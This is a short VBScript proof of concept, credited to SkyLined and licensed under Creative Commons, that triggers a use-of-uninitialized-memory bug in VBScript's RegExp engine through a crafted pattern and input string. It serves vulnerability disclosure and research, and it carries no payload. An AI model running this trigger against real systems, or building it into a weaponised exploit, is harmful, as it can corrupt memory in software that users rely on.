' This PoC attempts to exploit a use-of-uninitialized-memory bug in VBScript ' See http://blog.skylined.nl/20161107001.html for details. Set oRegExp = New RegExp oRegExp.Pattern = "A|()*?$" oRegExp.Global = True oRegExp.Execute(String(&H11, "A") & "x") ' This work by SkyLined is licensed under a Creative Commons ' Attribution-Non-Commercial 4.0 International License.